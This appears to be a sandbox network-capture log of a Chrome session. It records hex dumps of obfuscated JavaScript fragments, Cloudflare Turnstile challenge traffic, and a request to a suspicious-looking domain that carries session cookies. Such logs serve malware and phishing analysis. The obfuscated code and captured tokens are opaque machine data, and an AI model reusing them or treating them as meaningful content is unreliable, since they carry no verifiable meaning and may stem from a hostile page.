2024-04-24 22:49:28 UTC	1369	IN	Data Raw: 69 78 28 31 38 34 34 29 2c 67 72 5b 69 78 28 31 32 33 29 5d 3d 69 78 28 32 39 31 38 29 2c 67 72 5b 69 78 28 31 35 36 31 29 5d 3d 69 78 28 31 39 37 31 29 2c 67 72 5b 69 78 28 31 35 32 35 29 5d 3d 69 78 28 32 38 34 30 29 2c 67 72 5b 69 78 28 31 32 36 37 29 5d 3d 69 78 28 31 36 39 39 29 2c 67 72 5b 69 78 28 34 38 30 29 5d 3d 69 78 28 31 36 31 35 29 2c 67 72 5b 69 78 28 31 39 32 30 29 5d 3d 69 78 28 32 34 33 30 29 2c 67 72 5b 69 78 28 31 32 31 29 5d 3d 69 78 28 36 33 34 29 2c 67 72 5b 69 78 28 35 32 38 29 5d 3d 69 78 28 31 37 32 31 29 2c 67 72 5b 69 78 28 32 33 38 32 29 5d 3d 69 78 28 32 33 32 33 29 2c 67 72 5b 69 78 28 37 32 33 29 5d 3d 69 78 28 31 37 39 29 2c 67 72 5b 69 78 28 31 38 37 37 29 5d 3d 69 78 28 31 30 36 30 29 2c 67 72 5b 69 78 28 31 39 32 37 29 Data Ascii: ix(1844),gr[ix(123)]=ix(2918),gr[ix(1561)]=ix(1971),gr[ix(1525)]=ix(2840),gr[ix(1267)]=ix(1699),gr[ix(480)]=ix(1615),gr[ix(1920)]=ix(2430),gr[ix(121)]=ix(634),gr[ix(528)]=ix(1721),gr[ix(2382)]=ix(2323),gr[ix(723)]=ix(179),gr[ix(1877)]=ix(1060),gr[ix(1927)
2024-04-24 22:49:28 UTC	1369	IN	Data Raw: 37 35 35 29 5d 3d 69 78 28 31 35 33 30 29 2c 67 73 5b 69 78 28 37 38 36 29 5d 3d 69 78 28 35 39 36 29 2c 67 73 5b 69 78 28 32 31 37 33 29 5d 3d 69 78 28 31 33 30 39 29 2c 67 73 5b 69 78 28 31 38 31 33 29 5d 3d 69 78 28 32 37 36 36 29 2c 67 73 5b 69 78 28 32 35 35 35 29 5d 3d 69 78 28 32 30 34 29 2c 67 73 5b 69 78 28 31 33 33 32 29 5d 3d 69 78 28 31 32 33 36 29 2c 67 73 5b 69 78 28 35 39 35 29 5d 3d 69 78 28 31 32 36 39 29 2c 67 73 5b 69 78 28 32 30 31 32 29 5d 3d 69 78 28 32 38 30 36 29 2c 67 73 5b 69 78 28 32 33 36 32 29 5d 3d 69 78 28 34 32 35 29 2c 67 73 5b 69 78 28 32 33 32 35 29 5d 3d 69 78 28 31 32 36 32 29 2c 67 73 5b 69 78 28 31 37 34 32 29 5d 3d 69 78 28 31 35 30 37 29 2c 67 73 5b 69 78 28 31 31 31 32 29 5d 3d 69 78 28 32 35 35 32 29 2c 67 74 3d Data Ascii: 755)]=ix(1530),gs[ix(786)]=ix(596),gs[ix(2173)]=ix(1309),gs[ix(1813)]=ix(2766),gs[ix(2555)]=ix(204),gs[ix(1332)]=ix(1236),gs[ix(595)]=ix(1269),gs[ix(2012)]=ix(2806),gs[ix(2362)]=ix(425),gs[ix(2325)]=ix(1262),gs[ix(1742)]=ix(1507),gs[ix(1112)]=ix(2552),gt=
2024-04-24 22:49:28 UTC	659	IN	Data Raw: 3d 69 78 28 32 31 33 31 29 2c 67 75 5b 69 78 28 31 38 37 37 29 5d 3d 69 78 28 32 34 32 35 29 2c 67 75 5b 69 78 28 31 39 32 37 29 5d 3d 69 78 28 31 34 35 39 29 2c 67 75 5b 69 78 28 31 33 33 34 29 5d 3d 69 78 28 38 30 37 29 2c 67 75 5b 69 78 28 31 38 32 29 5d 3d 69 78 28 31 36 37 33 29 2c 67 75 5b 69 78 28 31 35 34 33 29 5d 3d 69 78 28 31 32 33 32 29 2c 67 75 5b 69 78 28 32 31 39 32 29 5d 3d 69 78 28 33 34 39 29 2c 67 75 5b 69 78 28 32 32 35 30 29 5d 3d 69 78 28 31 31 38 31 29 2c 67 75 5b 69 78 28 32 31 37 34 29 5d 3d 69 78 28 31 34 39 32 29 2c 67 75 5b 69 78 28 32 30 34 35 29 5d 3d 69 78 28 31 38 34 31 29 2c 67 75 5b 69 78 28 33 36 35 29 5d 3d 69 78 28 32 31 38 33 29 2c 67 75 5b 69 78 28 31 37 36 31 29 5d 3d 69 78 28 37 37 31 29 2c 67 75 5b 69 78 28 32 37 Data Ascii: =ix(2131),gu[ix(1877)]=ix(2425),gu[ix(1927)]=ix(1459),gu[ix(1334)]=ix(807),gu[ix(182)]=ix(1673),gu[ix(1543)]=ix(1232),gu[ix(2192)]=ix(349),gu[ix(2250)]=ix(1181),gu[ix(2174)]=ix(1492),gu[ix(2045)]=ix(1841),gu[ix(365)]=ix(2183),gu[ix(1761)]=ix(771),gu[ix(27
2024-04-24 22:49:28 UTC	1369	IN	Data Raw: 39 37 39 0d 0a 39 38 29 2c 67 76 5b 69 78 28 31 35 36 31 29 5d 3d 69 78 28 32 31 32 39 29 2c 67 76 5b 69 78 28 31 35 32 35 29 5d 3d 69 78 28 31 32 32 30 29 2c 67 76 5b 69 78 28 31 32 36 37 29 5d 3d 69 78 28 31 34 30 38 29 2c 67 76 5b 69 78 28 34 38 30 29 5d 3d 69 78 28 31 35 31 36 29 2c 67 76 5b 69 78 28 31 39 32 30 29 5d 3d 69 78 28 39 34 36 29 2c 67 76 5b 69 78 28 31 32 31 29 5d 3d 69 78 28 35 30 31 29 2c 67 76 5b 69 78 28 35 32 38 29 5d 3d 69 78 28 32 38 31 34 29 2c 67 76 5b 69 78 28 32 33 38 32 29 5d 3d 69 78 28 36 32 33 29 2c 67 76 5b 69 78 28 37 32 33 29 5d 3d 69 78 28 31 31 33 36 29 2c 67 76 5b 69 78 28 31 38 37 37 29 5d 3d 69 78 28 36 39 34 29 2c 67 76 5b 69 78 28 31 39 32 37 29 5d 3d 69 78 28 32 38 34 32 29 2c 67 76 5b 69 78 28 31 33 33 34 29 5d Data Ascii: 97998),gv[ix(1561)]=ix(2129),gv[ix(1525)]=ix(1220),gv[ix(1267)]=ix(1408),gv[ix(480)]=ix(1516),gv[ix(1920)]=ix(946),gv[ix(121)]=ix(501),gv[ix(528)]=ix(2814),gv[ix(2382)]=ix(623),gv[ix(723)]=ix(1136),gv[ix(1877)]=ix(694),gv[ix(1927)]=ix(2842),gv[ix(1334)]
2024-04-24 22:49:28 UTC	1063	IN	Data Raw: 38 36 29 5d 3d 69 78 28 32 37 39 37 29 2c 67 77 5b 69 78 28 32 31 37 33 29 5d 3d 69 78 28 31 36 32 31 29 2c 67 77 5b 69 78 28 31 38 31 33 29 5d 3d 69 78 28 31 32 31 33 29 2c 67 77 5b 69 78 28 32 35 35 35 29 5d 3d 69 78 28 32 33 38 39 29 2c 67 77 5b 69 78 28 31 33 33 32 29 5d 3d 69 78 28 31 30 31 39 29 2c 67 77 5b 69 78 28 35 39 35 29 5d 3d 69 78 28 32 30 32 35 29 2c 67 77 5b 69 78 28 32 30 31 32 29 5d 3d 69 78 28 31 30 36 38 29 2c 67 77 5b 69 78 28 32 33 36 32 29 5d 3d 69 78 28 38 31 30 29 2c 67 77 5b 69 78 28 32 33 32 35 29 5d 3d 69 78 28 32 33 32 32 29 2c 67 77 5b 69 78 28 31 37 34 32 29 5d 3d 69 78 28 32 34 34 39 29 2c 67 77 5b 69 78 28 31 31 31 32 29 5d 3d 69 78 28 32 32 38 29 2c 67 78 3d 7b 7d 2c 67 78 5b 69 78 28 31 34 33 35 29 5d 3d 69 78 28 32 33 Data Ascii: 86)]=ix(2797),gw[ix(2173)]=ix(1621),gw[ix(1813)]=ix(1213),gw[ix(2555)]=ix(2389),gw[ix(1332)]=ix(1019),gw[ix(595)]=ix(2025),gw[ix(2012)]=ix(1068),gw[ix(2362)]=ix(810),gw[ix(2325)]=ix(2322),gw[ix(1742)]=ix(2449),gw[ix(1112)]=ix(228),gx={},gx[ix(1435)]=ix(23
2024-04-24 22:49:28 UTC	490	IN	Data Raw: 31 65 33 0d 0a 37 34 32 29 5d 3d 69 78 28 36 35 37 29 2c 67 78 5b 69 78 28 31 31 31 32 29 5d 3d 69 78 28 32 36 32 31 29 2c 67 79 3d 7b 7d 2c 67 79 5b 69 78 28 31 34 33 35 29 5d 3d 69 78 28 31 34 38 36 29 2c 67 79 5b 69 78 28 32 35 36 32 29 5d 3d 69 78 28 34 31 38 29 2c 67 79 5b 69 78 28 31 37 37 38 29 5d 3d 69 78 28 35 39 30 29 2c 67 79 5b 69 78 28 31 32 33 29 5d 3d 69 78 28 31 37 31 34 29 2c 67 79 5b 69 78 28 31 35 36 31 29 5d 3d 69 78 28 31 30 36 31 29 2c 67 79 5b 69 78 28 31 35 32 35 29 5d 3d 69 78 28 31 30 32 39 29 2c 67 79 5b 69 78 28 31 32 36 37 29 5d 3d 69 78 28 37 39 31 29 2c 67 79 5b 69 78 28 34 38 30 29 5d 3d 69 78 28 34 34 39 29 2c 67 79 5b 69 78 28 31 39 32 30 29 5d 3d 69 78 28 39 37 34 29 2c 67 79 5b 69 78 28 31 32 31 29 5d 3d 69 78 28 31 36 Data Ascii: 1e3742)]=ix(657),gx[ix(1112)]=ix(2621),gy={},gy[ix(1435)]=ix(1486),gy[ix(2562)]=ix(418),gy[ix(1778)]=ix(590),gy[ix(123)]=ix(1714),gy[ix(1561)]=ix(1061),gy[ix(1525)]=ix(1029),gy[ix(1267)]=ix(791),gy[ix(480)]=ix(449),gy[ix(1920)]=ix(974),gy[ix(121)]=ix(16
2024-04-24 22:49:28 UTC	244	IN	Data Raw: 65 65 0d 0a 38 29 2c 67 79 5b 69 78 28 32 30 34 35 29 5d 3d 69 78 28 31 35 38 33 29 2c 67 79 5b 69 78 28 33 36 35 29 5d 3d 69 78 28 38 31 33 29 2c 67 79 5b 69 78 28 31 37 36 31 29 5d 3d 69 78 28 32 31 35 32 29 2c 67 79 5b 69 78 28 32 37 33 30 29 5d 3d 69 78 28 31 39 33 39 29 2c 67 79 5b 69 78 28 32 35 37 34 29 5d 3d 69 78 28 32 30 38 31 29 2c 67 79 5b 69 78 28 31 33 32 33 29 5d 3d 69 78 28 33 39 39 29 2c 67 79 5b 69 78 28 32 37 35 35 29 5d 3d 69 78 28 32 30 39 36 29 2c 67 79 5b 69 78 28 37 38 36 29 5d 3d 69 78 28 38 38 33 29 2c 67 79 5b 69 78 28 32 31 37 33 29 5d 3d 69 78 28 31 30 34 36 29 2c 67 79 5b 69 78 28 31 38 31 33 29 5d 3d 69 78 28 31 30 31 34 29 2c 67 79 5b 69 78 28 32 35 35 35 29 5d 3d 69 78 28 31 30 36 34 0d 0a Data Ascii: ee8),gy[ix(2045)]=ix(1583),gy[ix(365)]=ix(813),gy[ix(1761)]=ix(2152),gy[ix(2730)]=ix(1939),gy[ix(2574)]=ix(2081),gy[ix(1323)]=ix(399),gy[ix(2755)]=ix(2096),gy[ix(786)]=ix(883),gy[ix(2173)]=ix(1046),gy[ix(1813)]=ix(1014),gy[ix(2555)]=ix(1064

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49721	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:28 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:28 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:28 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8799a58fbf9e12ed-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:28 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49714	104.21.57.92	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:28 UTC	1326	OUT	GET /favicon.ico HTTP/1.1 Host: gututa.ureilect.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gututa.ureilect.com/1MZ153uW/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlNyNG1TTUtJR01Hb0UrT3FEN0g2RkE9PSIsInZhbHVlIjoiRlBXMVB2Wnhoczk5c3FuTEQ0Z2dVZmU5UVpLWkExaENXNjNEL1h1SGlTSm1YRTg0Tm9UM3M0RWhCbFN2aHFWbVJsQzZIY2p0ZUkyanVndlNXYmpEVFNreWRBeW1GelgyM252MTBHdW5kU0VrQndSdktvSTh3dmhpR1E2UmxkbEYiLCJtYWMiOiJjZjIzN2FlZDAxYjYzMDRhM2U1Zjk0Mjg1MzJmNGEzN2FkYTY3ZTVlZTk4NTI1MDNjZTk5ZjM3MDBmNmFjNjNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRrWTVXcGhscWgwMFhYbkFvMGFCVnc9PSIsInZhbHVlIjoiYjl3b0ZJdmw3amMxTk9sWEFnS3lzWEVUVkh2SndkMnhla2x1bU9HOVBSeFZhOVo3NXk2UHV2YjZrUU1kZXlmYmxWWWtNQkw0R0RNbTk3UEJWOXI3cmhYVzA4dXRoM0YxMXRZRzQzdGJqejYrdXpOdEtacTVPWHFVbWJmMXpZRTMiLCJtYWMiOiI3YmMxZDAxODAwOWIwM2U4NWJlZWIzOTdkNzFmOGQyMDQ3NzhjZTVmMTZhMDQ4OTRmM2Q1Y2JmNWFhMGZiN2Q0IiwidGFnIjoiIn0%3D
2024-04-24 22:49:29 UTC	634	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 22:49:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u0a%2Bq4xND1FN0C9MHUxIB4ToKwF3RsCwI5sNHm27yuhm%2B7kLYTX8dyrji0aVuCc7R3CwX1lqYiz41FqlIUWreZMSMikW6%2BvN24SL9eo%2BxaOVe0pQaN2zDueLsR6Vlw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 8799a5927b67672f-ATL
2024-04-24 22:49:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49724	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:28 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:28 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:28 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8799a5939a6aad7c-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:28 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49725	104.17.3.184	443	6248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 22:49:28 UTC	915	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/197470931:1713997520:DaXxhv4ov71QJcajASKntCSPo-IrKnIIVexevO593E0/8799a58bde211351/67971d35eb53136 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2669 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 67971d35eb53136 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 22:49:28 UTC	2669	OUT	Data Raw: 76 5f 38 37 39 39 61 35 38 62 64 65 32 31 31 33 35 31 3d 33 72 51 6c 34 6c 54 6c 6d 6c 39 6c 42 2d 4d 24 2d 4d 76 6c 2d 44 77 71 42 4a 2d 4e 4d 42 4d 74 41 44 63 55 69 4d 35 25 32 62 4d 51 69 4e 4c 70 45 4d 4e 69 42 4b 70 4e 49 2b 4d 34 6c 70 36 56 48 70 48 4c 58 4d 70 4b 6b 4d 35 44 77 2d 4d 49 6f 5a 57 54 35 4d 4e 71 4d 73 4d 56 36 72 38 32 4d 4d 44 6b 4d 6b 4f 4d 2d 54 54 4e 2d 39 36 49 33 51 49 69 42 2b 4d 53 6c 77 53 43 4d 75 32 78 30 4d 75 4d 77 36 30 73 6f 64 73 6e 6a 30 63 49 24 62 4d 4d 62 24 6b 58 24 6c 7a 4d 77 4a 63 62 4b 69 70 37 63 41 78 48 5a 78 44 4d 74 34 63 75 4d 70 63 79 78 63 4d 44 4d 63 4c 30 42 4d 4d 49 4d 2d 53 37 63 42 74 52 4d 77 75 68 2d 69 4d 64 49 69 70 33 4e 56 77 6d 69 49 32 4d 53 6c 53 4d 6c 4d 4a 4d 31 53 41 4e 32 24 77 54 Data Ascii: v_8799a58bde211351=3rQl4lTlml9lB-M$-Mvl-DwqBJ-NMBMtADcUiM5%2bMQiNLpEMNiBKpNI+M4lp6VHpHLXMpKkM5Dw-MIoZWT5MNqMsMV6r82MMDkMkOM-TTN-96I3QIiB+MSlwSCMu2x0MuMw60sodsnj0cI$bMMb$kX$lzMwJcbKip7cAxHZxDMt4cuMpcyxcMDMcL0BMMIM-S7cBtRMwuh-iMdIip3NVwmiI2MSlSMlMJM1SAN2$wT
2024-04-24 22:49:29 UTC	798	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 22:49:29 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: FhpR/dmKNutshTyEPvgTvs1+OzOPJsJfR/19Q7ptRXNMgE6ey5U7Hk8QZKR3RwYHLkgwKUkb0Q418BGJqg8c5TUMRrkRc17PQpyPptLPfADPG2ZSS+q28kXfrIbaDPQ4C3nGIzHMddnAUGe7PDGsr+EFx8HwiiNDp5vXXK2gX17XE7ct6aYUp1NcExvIiXOVrZ/pde3eOto0Q0Z0HXkbqj92kzvsVuxs4fdtqqRFO8GL48tGUts4Nh72AnUC3OjIGSqtjZRVwnLGxjT2wbRrgo8x4nd4IWeXI453rXie6KZ18PIhffLvSTyKNxdDAn8MQC+QexJHXKoXlc6tWyPRJqCGkPn4Wr80pZBariZ8ebwXRxP+97fnoJvdx63LtVAk1gx6SvatzQZkd/s6nLr9kDrwoYO8AEbs2xYxHj+tuPvf/TD/oAp5kbZVI6vBAuz++jHdJt8XZ0HjQO5vdcIAoJXtygMU8TrzFjvMRFNfFob5cmaYAb8bn/cRbaNDgHqB$d4KNlJ0f0rWeQIevl+68rw== vary: accept-encoding Server: cloudflare CF-RAY: 8799a5946eb053b6-ATL alt-svc: h3=":443"; ma=86400
2024-04-24 22:49:29 UTC	519	IN	Data Raw: 32 30 30 0d 0a 75 58 2b 62 6d 38 53 7a 76 72 53 44 78 35 6e 46 7a 4d 72 45 6a 72 32 6b 31 62 66 4b 78 4a 43 72 6f 37 69 63 32 72 61 72 7a 4b 75 34 31 4b 50 5a 32 37 65 34 31 2b 7a 6e 75 2b 4f 70 77 38 65 38 30 4f 48 76 7a 38 36 76 73 64 48 55 73 39 37 78 7a 37 37 66 76 37 72 6a 42 76 6e 39 77 2f 48 35 2b 67 58 62 2b 41 66 78 33 4d 72 71 38 65 48 65 30 38 6f 55 35 65 76 56 37 74 62 32 37 66 44 59 33 78 54 35 2b 66 50 78 2b 52 6f 58 43 4f 6b 49 35 53 41 43 41 66 77 31 42 67 55 43 45 67 50 79 46 42 6f 4e 2b 77 41 77 45 68 6f 45 4e 42 59 63 45 6a 59 71 47 52 30 6e 48 43 73 6e 4b 6b 67 38 53 78 4a 4e 56 6b 41 72 54 69 51 31 4b 43 77 58 58 78 4e 64 57 6c 6c 4e 48 45 38 6b 56 54 31 4b 4a 55 4e 4d 61 69 74 64 50 55 46 4b 55 6d 52 59 56 45 70 56 56 46 6c 59 56 48 Data Ascii: 200uX+bm8SzvrSDx5nFzMrEjr2k1bfKxJCro7ic2rarzKu41KPZ27e41+znu+Opw8e80OHvz86vsdHUs97xz77fv7rjBvn9w/H5+gXb+Afx3Mrq8eHe08oU5evV7tb27fDY3xT5+fPx+RoXCOkI5SACAfw1BgUCEgPyFBoN+wAwEhoENBYcEjYqGR0nHCsnKkg8SxJNVkArTiQ1KCwXXxNdWllNHE8kVT1KJUNMaitdPUFKUmRYVEpVVFlYVH
2024-04-24 22:49:29 UTC	1369	IN	Data Raw: 31 63 35 32 0d 0a 4e 6a 77 2f 4a 54 77 62 43 77 4e 4e 46 67 6b 47 41 77 6c 49 54 43 77 7a 53 79 39 42 52 55 64 53 56 68 74 58 58 46 6c 4b 55 6a 5a 4e 49 6c 31 63 4e 30 56 5a 4f 30 67 6c 53 30 6c 6e 54 6d 45 77 50 6e 52 47 4d 79 38 77 5a 48 4e 47 56 33 42 77 54 32 39 4f 58 7a 39 59 51 48 46 30 61 49 71 4e 64 59 4e 48 6a 34 4a 6f 6b 34 6c 4f 62 5a 47 47 64 48 52 36 66 59 31 7a 6b 33 68 38 6a 56 31 74 6c 57 46 34 61 4a 68 35 67 5a 79 59 70 48 31 34 71 49 46 2f 70 33 36 79 6c 71 75 5a 64 70 71 4a 76 49 71 4f 6b 6f 70 36 6b 70 37 43 6f 6e 2b 45 75 70 71 5a 6d 72 6d 72 78 73 62 4e 6f 72 44 51 6a 4c 62 4c 32 62 43 57 7a 37 79 62 30 63 6a 57 76 36 4b 39 73 4a 2f 61 6f 75 48 46 77 4c 76 58 76 72 62 70 33 73 4f 2b 37 76 4b 78 31 73 62 6c 37 38 6e 72 78 39 54 49 2b Data Ascii: 1c52Njw/JTwbCwNNFgkGAwlITCwzSy9BRUdSVhtXXFlKUjZNIl1cN0VZO0glS0lnTmEwPnRGMy8wZHNGV3BwT29OXz9YQHF0aIqNdYNHj4Jok4lObZGGdHR6fY1zk3h8jV1tlWF4aJh5gZyYpH14qIF/p36ylquZdpqJvIqOkop6kp7Con+EupqZmrmrxsbNorDQjLbL2bCWz7yb0cjWv6K9sJ/aouHFwLvXvrbp3sO+7vKx1sbl78nrx9TI+
2024-04-24 22:49:29 UTC	1369	IN	Data Raw: 47 4e 68 30 70 53 68 34 68 4c 55 34 6b 4f 6c 45 4d 53 45 52 41 4c 79 38 77 45 69 70 50 4a 69 34 36 50 6c 39 62 4c 6a 41 2b 57 56 49 34 4e 46 6f 33 61 44 74 5a 5a 44 30 2b 4b 79 56 6e 63 45 6c 42 4d 58 67 36 61 31 6c 55 64 30 70 58 50 6e 56 4d 63 58 78 51 59 59 4e 57 58 6c 35 74 6a 6d 57 51 66 58 35 75 63 34 65 45 59 6b 31 4f 55 48 68 33 61 49 78 79 6e 6e 35 38 62 35 4b 67 6b 6d 42 76 6c 48 57 45 63 31 36 44 5a 58 70 69 59 36 65 6e 70 34 69 78 74 37 4f 70 73 5a 4a 35 73 6f 65 70 76 71 71 33 75 4b 4a 2f 74 71 64 2b 77 4d 47 37 69 63 43 62 71 38 57 64 77 4b 61 68 6b 4b 2b 54 70 4e 62 51 31 39 53 64 73 61 36 31 6e 2b 4c 65 77 61 58 6c 6f 73 53 36 77 73 65 38 75 4c 66 48 77 73 4b 38 30 74 37 78 7a 50 54 7a 39 39 72 73 36 2f 44 58 38 2f 76 7a 77 74 48 78 35 66 Data Ascii: GNh0pSh4hLU4kOlEMSERALy8wEipPJi46Pl9bLjA+WVI4NFo3aDtZZD0+KyVncElBMXg6a1lUd0pXPnVMcXxQYYNWXl5tjmWQfX5uc4eEYk1OUHh3aIxynn58b5KgkmBvlHWEc16DZXpiY6enp4ixt7OpsZJ5soepvqq3uKJ/tqd+wMG7icCbq8WdwKahkK+TpNbQ19Sdsa61n+LewaXlosS6wse8uLfHwsK80t7xzPTz99rs6/DX8/vzwtHx5f
2024-04-24 22:49:29 UTC	1369	IN	Data Raw: 53 56 41 66 54 45 31 45 49 67 38 68 51 45 38 6a 55 30 39 4b 54 68 64 62 50 56 35 4e 49 54 6f 66 4a 56 68 58 4a 55 73 36 53 43 63 75 4a 55 49 72 4b 6a 31 74 54 57 56 50 64 45 4a 31 4e 44 4a 78 65 55 39 64 53 54 39 42 64 6d 5a 63 68 46 64 42 58 6d 6c 6d 65 56 32 4c 58 59 42 67 68 33 79 44 6c 56 57 55 5a 31 65 50 64 5a 68 61 58 70 4b 43 65 71 52 69 65 5a 4f 64 59 47 4b 4a 67 5a 6d 4c 6d 59 61 72 63 5a 32 6c 67 6d 36 55 6b 36 4f 6a 64 34 6d 32 75 5a 53 4b 6d 6e 69 2b 6e 72 43 41 6c 73 4f 37 73 36 57 49 71 72 6d 6d 68 36 75 64 72 38 65 2b 72 63 2b 56 71 59 76 59 79 4a 79 34 71 74 36 76 77 73 36 5a 6f 4c 44 45 79 4c 36 2b 77 4d 6e 64 71 4d 37 65 78 4f 66 68 73 65 75 75 74 65 4f 34 36 62 66 5a 78 4f 75 34 41 50 33 39 37 4c 33 34 42 77 44 6b 2b 77 43 38 32 64 76 Data Ascii: SVAfTE1EIg8hQE8jU09KThdbPV5NITofJVhXJUs6SCcuJUIrKj1tTWVPdEJ1NDJxeU9dST9BdmZchFdBXmlmeV2LXYBgh3yDlVWUZ1ePdZhaXpKCeqRieZOdYGKJgZmLmYarcZ2lgm6Uk6Ojd4m2uZSKmni+nrCAlsO7s6WIqrmmh6udr8e+rc+VqYvYyJy4qt6vws6ZoLDEyL6+wMndqM7exOfhseuuteO46bfZxOu4AP397L34BwDk+wC82dv
2024-04-24 22:49:29 UTC	1369	IN	Data Raw: 30 34 32 4e 69 51 6d 4d 45 31 57 55 42 74 4a 4b 55 78 41 50 6c 59 79 4e 7a 74 62 4f 69 56 6f 4e 79 64 4d 61 32 4a 6a 51 44 4d 7a 5a 32 42 34 4e 48 70 74 61 56 67 30 57 33 55 37 53 6e 6b 2f 55 6c 70 57 63 6e 42 57 5a 34 74 6a 67 59 64 67 69 35 4a 6c 58 49 2b 57 55 59 32 58 61 70 6c 6a 69 4a 47 64 58 4a 46 67 69 6c 79 6c 6d 5a 69 66 59 35 31 69 65 36 4b 66 5a 6f 75 62 6a 5a 4f 67 68 71 4e 30 72 36 4a 77 69 6e 57 46 64 72 47 71 74 72 32 51 73 4b 4f 35 75 4a 4f 43 79 4b 69 56 79 34 75 6f 78 49 4c 51 6e 61 48 50 6a 49 6a 53 7a 64 4b 36 74 5a 75 37 72 39 4b 65 6d 64 72 63 33 36 2f 4f 30 39 47 68 79 2b 7a 65 35 63 54 68 33 